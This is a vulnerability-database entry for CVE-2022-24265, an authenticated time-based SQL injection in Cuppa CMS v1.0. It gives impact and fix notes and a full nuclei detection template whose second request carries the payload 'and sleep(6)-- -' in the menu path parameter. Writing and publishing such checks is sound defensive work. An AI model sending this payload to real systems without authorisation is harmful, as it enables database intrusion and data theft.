HexBrain

Browse / CVEs / CVE-2022-24265

CVE-2022-24265· cuppacms / cuppacms· CWE-89

Cuppa CMS v1.0 - SQL injection

highseverity
7.5CVSS score
6.7%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

Cuppa CMS v1.0 was discovered to contain a SQL injection vulnerability in /administrator/components/menu/ via the path=component/menu/&menu_filter=3 parameter.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire CMS system.

Fix

Upgrade to the latest version of Cuppa CMS or apply the provided patch to fix the SQL injection vulnerability.

How to confirm it

Send: POST / ; @timeout: 20s
Positive when: duration>=6 and status_code_2 == 200 and contains(content_type_2, "text/html") and contains(body_2, "menu/html/edit.php")

Run it with nuclei: nuclei -id CVE-2022-24265 -u <target>

The full check
id: CVE-2022-24265

info:
  name: Cuppa CMS v1.0 - SQL injection
  author: theamanrawat
  severity: high
  description: |
    Cuppa CMS v1.0 was discovered to contain a SQL injection vulnerability in /administrator/components/menu/ via the path=component/menu/&menu_filter=3 parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire CMS system.
  remediation: |
    Upgrade to the latest version of Cuppa CMS or apply the provided patch to fix the SQL injection vulnerability.
  reference:
    - https://github.com/CuppaCMS/CuppaCMS
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24265
    - https://github.com/truonghuuphuc/CVE
    - https://github.com/Nguyen-Trung-Kien/CVE-1
    - https://github.com/oxf5/CVE
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-24265
    cwe-id: CWE-89
    epss-score: 0.06711
    epss-percentile: 0.93978
    cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cuppacms
    product: cuppacms
  tags: time-based-sqli,cve2022,cve,sqli,cuppa,authenticated,cuppacms,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&password={{password}}&language=en&task=login
      - |
        @timeout: 20s
        POST /components/menu/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        path=component%2Fmenu%2F%26menu_filter%3D3'+and+sleep(6)--+-&data_get=eyJtZW51X2ZpbHRlciI6IjMifQ%3D%3D&uniqueClass=wrapper_content_906185

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "menu/html/edit.php")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from